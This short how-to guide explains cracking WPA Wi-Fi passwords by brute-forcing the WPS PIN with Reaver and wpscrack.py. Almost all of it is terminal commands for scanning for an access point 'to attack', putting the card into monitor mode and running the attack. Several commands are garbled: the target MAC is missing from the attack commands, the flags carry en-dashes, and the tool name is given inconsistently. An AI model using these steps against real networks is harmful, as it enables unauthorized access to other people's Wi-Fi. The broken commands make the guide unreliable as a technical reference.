How to Hack WPA WiFi Passwords by Cracking WPS PIN

Requirements

• Linux OS
• A router at home with WPS
• The following programs installed (install by package name): aircrack-ng, python-pycryptopp, python-scapy, libpcap-dev

Tools

• Reaper (support for all routers)
• wpscrack (faster, but only support for major router brands)

Crack WPS

Text in bold is a terminal command.

Follow the guide that corresponds to the tool that you chose to use below.

Reaper

1. Unzip Reaper.
       unzip reaver-1.3.tar.gz
2. Change to the Reaper directory.
       cd reaper-1.3
3. Configure, compile and install the application.
       ./configure && make && sudo make install
4. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
       sudo iwlist scan wlan0
5. Set your device into monitor mode.
       sudo airmon-ng start wlan0
6. Run the tool against an access point.
       reaver -i mon0 -b -vv
7. Wait until it finishes.

This tool makes it too easy.

wpscrack.py

1. Make the program an executable.
        chmod +x wpscrack.py
2. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
       sudo iwlist scan wlan0
3. Get your MAC address, save it for later.
       ip link show wlan0 | awk '/ether/ {print $2}'
4. Set your device into monitor mode.
       sudo airmon-ng start wlan0
5. Attack your AP.
       wpscrack.py –iface mon0 –client –bssid --ssid -v
6. Await victory.

Now, let's hope we see a lot of firmware update action going on in the near future, or else a lot of places are in a whole world of trouble.
